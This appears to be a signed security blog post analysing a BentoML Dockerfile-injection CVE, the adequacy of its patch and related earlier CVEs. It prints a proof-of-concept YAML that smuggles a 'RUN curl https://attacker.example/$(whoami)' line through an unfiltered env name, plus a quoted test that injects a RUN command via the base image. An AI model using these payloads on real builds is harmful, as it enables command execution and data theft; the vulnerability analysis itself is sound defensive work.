-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The two filters live on adjacent template lines\n\n`src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2` in BentoML 1.4.38, lines 67 through 74:\n\n```jinja\n{% for env in __bento_envs__ %}\n{% set stage = env.stage | default(\"all\") -%}\n{% if stage != \"runtime\" -%}\nARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\n\nENV {{ env.name }}=${{ env.name }}\n{% endif -%}\n{% endfor %}\n```\n\n`bash_quote` is registered in `src/bentoml/_internal/container/generate.py` as a Jinja-side alias for Python's `shlex.quote`. The filter wraps shell-special inputs in single quotes so that anything reaching `docker build`'s shell from the ARG default-value position arrives as one literal token. `env.value` carries the wrap. `env.name`, six characters to the left, does not. The Dockerfile parser that consumes both bytes has no idea which side of the YAML the bytes came from.\n\nA `bentofile.yaml` of the form\n\n```yaml\nenvs:\n - name: \"FOO\\nRUN curl https://attacker.example/$(whoami)\"\n value: \"bar\"\n```\n\nrenders, in 1.4.38, as:\n\n```dockerfile\nARG FOO\nRUN curl https://attacker.example/$(whoami)=bar\n\nENV FOO\nRUN curl https://attacker.example/$(whoami)=$FOO\nRUN curl https://attacker.example/$(whoami)\n```\n\nThe newline inside `env.name` survives `{{ env.name }}` because the template applies no filter. It shifts the second half of the ARG line down to a new line, which the Dockerfile parser now reads as a fresh `RUN` directive. `docker build` invokes that RUN through a shell. The shell runs the curl. The victim is whoever ran `bentoml containerize` on the imported bento.\n\nThe asymmetry inside the loop is the bug. Both fields originate in the same YAML document, pass through the same Pydantic model, reach the same Jinja iteration. The difference between them in the maintainer's head was that one is \"an environment variable name\" and the other is \"an environment variable value.\" `bash_quote` was the filter applied to whichever side the developer perceived as more user-controlled.\n\n## What `normalize_line` does\n\nThe 1.4.39 patch (commit `9cddd66`, merged April 30, 2026) modifies the loop:\n\n```diff\n-ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\n-ENV {{ env.name }}=${{ env.name }}\n+ARG {{ env.name|normalize_line }}{% if env.value %}={{ env.value | bash_quote }}{% endif %}\n+ENV {{ env.name|normalize_line }}=${{ env.name|normalize_line }}\n```\n\n`env.value` continues to use `bash_quote`. `env.name` is now filtered through `normalize_line`. The two filters are not the same filter.\n\n`normalize_line` is defined in the same patch, in `generate.py`:\n\n```python\ndef normalize_line(s: str) -> str:\n \"\"\"\n Normalize a line by stripping leading and trailing whitespaces and replacing multiple spaces with a single space.\n \"\"\"\n return \" \".join(s.strip().split())\n```\n\n`s.strip().split()` splits on any whitespace run, including newlines and tabs. `\" \".join(...)` rejoins with single spaces. The function is a content transform that removes whitespace. It is not an escape. It does not wrap the input in quotes. It does not delimit it. It does not validate that the value matches an environment-variable-name grammar.\n\nThe maintainer's own test, added by the same patch and asserting the new filter's behavior on the parallel `FROM` directive injection, makes the choice literal:\n\n```python\ndef test_generate_containerfile_normalizes_custom_base_image(tmp_path):\n dockerfile = generate_containerfile(\n DockerOptions(base_image=\" python:3.11-slim\\nRUN touch /tmp/pwned \"),\n ...,\n )\n assert \"FROM python:3.11-slim RUN touch /tmp/pwned as base-container\" in dockerfile\n assert \"\\nRUN touch /tmp/pwned\" not in dockerfile\n```\n\nThe first assertion is the security contract: the attacker-supplied `RUN touch /tmp/pwned` lands as a literal token on the `FROM` line of the rendered Dockerfile. The injected bytes are still present. They are no longer on their own line. `docker build` will refuse to parse `FROM python:3.11-slim RUN touch /tmp/pwned as base-container` because the FROM directive's grammar does not admit that syntax, and the build will die before reaching the embedded token. The Dockerfile parser is the layer that rejects the attack. The filter's job is to confine the input to one line so the parser's existing strictness catches it.\n\nThe advisory's recommended remediation names a different fix. From the GHSA: \"validate at the schema level by adding regex validation in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`,\" specifically `^[A-Za-z_][A-Za-z0-9_]*$`, the canonical regex for a POSIX environment-variable identifier. That is the contract `env.name` was always supposed to satisfy. The advisory frames it as preferred. The maintainer chose `normalize_line`.\n\n## The third Dockerfile-injection patch in five weeks\n\n`9cddd66` is not the first patch in this family. It is the third the same author has shipped against BentoML's Dockerfile generation pipeline since late March 2026.\n\n| Patched in | Commit | Advisory | Field | Filter chosen |\n|---|---|---|---|---|\n| 1.4.37 | `ce53491` (2026-03-24) | [GHSA-jfjg-vc52-wqvf](https://github.com/bentoml/BentoML/security/advisories/GHSA-jfjg-vc52-wqvf) / CVE-2026-33744 | `docker.system_packages` in four base templates and `_bentoml_sdk/images.py` | `\\| map('bash_quote') \\| join(' ')` |\n| 1.4.38 | `79fbea5` (2026-04-01) | [GHSA-fgv4-6jr3-jgfw](https://github.com/bentoml/BentoML/security/advisories/GHSA-fgv4-6jr3-jgfw) / CVE-2026-35043 | `docker.system_packages` in `_internal/cloud/deployment.py::_build_setup_script` | `shlex.quote(p)` |\n| 1.4.39 | `9cddd66` (2026-04-30) | [GHSA-w2pm-x38x-jp44](https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44) / CVE-2026-44346 | `envs[*].name` and `__options__base_image` in `base_v2.j2` | `normalize_line` |\n\nGHSA-fgv4-6jr3-jgfw is titled, verbatim, \"Incomplete fix for CVE-2026-33744: command injection in cloud deployment setup script.\" The vendor's own advisory text labels its second patch as a continuation of the first. The 1.4.38 release exists because the 1.4.37 release closed `system_packages` in one part of the codebase, the four Jinja templates that interpolated the list into `apt-get install`, `yum install`, and `apk add`, and missed the parallel sink in `cloud/deployment.py` where the same configuration value was being concatenated into a different shell script for cloud-deployment builds. Same field. Different code path. Eight days apart.\n\n1.4.39 then arrives twenty-nine days later, with a different filter on a different field, in the same Jinja template tree. The vendor's advisory for this third CVE names the prior two CVEs in its \"Related\" section and reads, in part, \"The `envs[*].name` field is the same root-cause class…but was never included in the fix scope.\"\n\nThree CVEs. Three fields. Two filters. One template engine. The substrate, a Jinja2 rendering pipeline that turns user YAML into a Dockerfile by per-field developer attention, with no central escape layer between the loaded `bentofile.yaml` and the rendered template, did not change between any of the three releases.\n\nThe same window contains an attempted architectural fix. Commit `716daf4`, dated April 2, replaces `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment` and removes the `jinja2.ext.do` and `jinja2.ext.debug` extensions. That is the right-shaped change: applied once, at the rendering engine, removes a class of capabilities the template author can use. It is silent on field-level escaping because field-level escaping is not the rendering engine's job. Twenty-eight days after the sandbox switch, the same author shipped another field-level filter.\n\n## The substrate is per-template. The fixes are per-field.\n\nThis is the [Design Debt Driver](/patterns/design-debt-driver) pattern at the template-engine layer. The catalog defines the shape: a component whose architecture is a fertile substrate for a specific bug family, with each patch closing the instance and the substrate continuing to produce. The instance count keeps going up.\n\nThe pattern already carries exhibits at very different layers of the stack. [Apache Camel's `DefaultExchangeHolder`](/posts/camel-cve-2026-40858-same-five-lines-eight-components) is `Serializable`, and each Camel component that calls `new ObjectInputStream(...).readObject()` on an attacker-supplied byte buffer is a separate CVE; the same maintainer has shipped `ObjectInputFilter` into eight Camel components in twenty-seven months. [ActiveMQ's BrokerView deny list](/posts/activemq-cve-2026-40466-row-two) is a `Set.of(...)` literal where each newly-CVE'd transport scheme gets added by hand, because the parameter type is `String` and the URI registry is open. [Microsoft WerSvc](/posts/wer-cve-2026-20817-thirty-third-elevation-gate) is on its thirty-third elevation-of-privilege CVE in a service whose dispatcher launches SYSTEM processes on behalf of arbitrary local callers, patched per-case.\n\nBentoML's container generator is the same shape at the Jinja template layer. There is no escape function between the YAML loader and the renderer that classifies every field by which interpreter consumes its bytes. The classification is done in the maintainer's head, one field at a time, after a PoC against that field has arrived. The same author has now shipped two flavors of filter, `shlex.quote` and `normalize_line`, against three different fields, across three consecutive patch releases of the same package, against the same generator. The next field a researcher tests will be a field that nobody has yet named.\n\n`__options__commands`, `__options__post_commands`, `__options__python_version`, the `bento__user` interpolation that lands inside both `chown` arguments and the Dockerfile `USER` directive, and the per-base-distro `dockerfile_template` user-override path that loads attacker-shipped Jinja templates from inside the bento, are all interpolation sinks in the same template tree. None of them are in the patched commits. None of them are in the GHSAs. None of them have been audited in any pull request that mentions injection. The May 27 publication date of CVE-2026-44346 is the start of the audit window for the next field.\n\n## The asymmetry inside one loop is a separate pattern\n\nThe shape inside the eight-line loop is also a smaller pattern. `env.value` got the filter. `env.name`, the adjacent field on the same iteration, did not. Both fields flowed into the same Dockerfile sink. The author who wrote the `bash_quote` call had the entire threat model in front of him, in the same file, on the same loop iteration. The filter applies to the side he perceived as more user-controlled.\n\nThis is [Sanitized The Secrets, Not The Sink](/patterns/sanitized-the-secrets-not-the-sink). The pattern's prior exhibits read the same way at the function granularity: ASUSTOR's `vpn.cgi` [escaped the username and password](/posts/asustor-vpn-escapes-credentials-not-server) it wrote into a `pppd` peer config and skipped the server-address field on the same line, all three reaching `/bin/sh` via pppd's pty handler. OPNsense's `local_user_set` [applied `escapeshellarg()` to the GECOS comment](/posts/opnsense-cve-2026-44193-escapeshellarg-was-the-camouflage) and not to the six other `pw` arguments adjacent to it, all seven flowing into `popen()`. Easy Elements' WordPress handler [hardened the `role` field](/posts/easy-elements-cve-2026-9018-hardened-role-looped-meta) and then iterated `custom_meta` into the same `wp_capabilities` key the role denylist guarded.\n\nBentoML's loop is the same shape with the interpreter swapped for a Jinja-rendered Dockerfile and the sort axis flipped: the field with the alphanumeric value was perceived as content, the field with the identifier name was perceived as structural. The structural-looking field was the one a malicious YAML used.\n\n## What the advisory's PoC repository confirms\n\nThe public PoC for CVE-2026-44346 is gated behind a HuggingFace repository at `mrw0r57/bentoml-envs-cmdinjection-poc`. The advisory does not display the YAML inline. The repository is signed-in-only.\n\nThat is fine. The patch is the evidence. The two filters live in [commit `9cddd66`](https://github.com/bentoml/BentoML/commit/9cddd66c0e62cbbf1a1e44fddd0c1f94dd788ddd) on adjacent template lines, the test the maintainer wrote asserts the injected `RUN` token survives the filter and lands as a literal substring on the `FROM` line, and the GHSA-w2pm-x38x-jp44 advisory text names `system_packages` twice in its \"Related\" section. The artifact under HuggingFace gate is the demonstration. The artifact in the BentoML repository is the design.\n\nPoC: [GHSA-w2pm-x38x-jp44](https://github.com/bentoml/BentoML/security/advisories/GHSA-w2pm-x38x-jp44) and patch [`9cddd66`](https://github.com/bentoml/BentoML/commit/9cddd66c0e62cbbf1a1e44fddd0c1f94dd788ddd)","closing_line":"The component will produce the next one before this one is fully understood.","hook_md":"BentoML 1.4.38 renders user-supplied YAML into the Dockerfile that `bentoml containerize` hands to `docker build`. The renderer is a Jinja loop. Two adjacent lines inside that loop interpolate `env.name` and `env.value` from `bentofile.yaml`. `env.value` is passed through `bash_quote`. `env.name` is rendered raw.\n\nThe 1.4.39 patch leaves `env.value | bash_quote` alone and adds a different filter, called `normalize_line`, to `env.name` on the line above. The function it calls is six characters wide. It is the third Dockerfile-injection patch the same maintainer has shipped against the same component since March.","post_id":532,"slug":"bentoml-cve-2026-44346-env-name-was-not-env-value","title":"CVE-2026-44346: BentoML Quoted `env.value`. `env.name`, On The Next Line, Got A Different Filter.","type":"initial","unreadable_sentence":"Three CVEs. Three fields. Two filters. One template engine."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCapXnGwAKCRDeZjl4jgkQ JqOMAQCJEGEaCpBBiVC6cW/3EXQZfW8iiKllQeoKbobrq2Q6+gD7BpLcHe2sLv/2 SlHfAottf7Xmman6bbYKDhbn0TPmNAM= =19FT -----END PGP SIGNATURE-----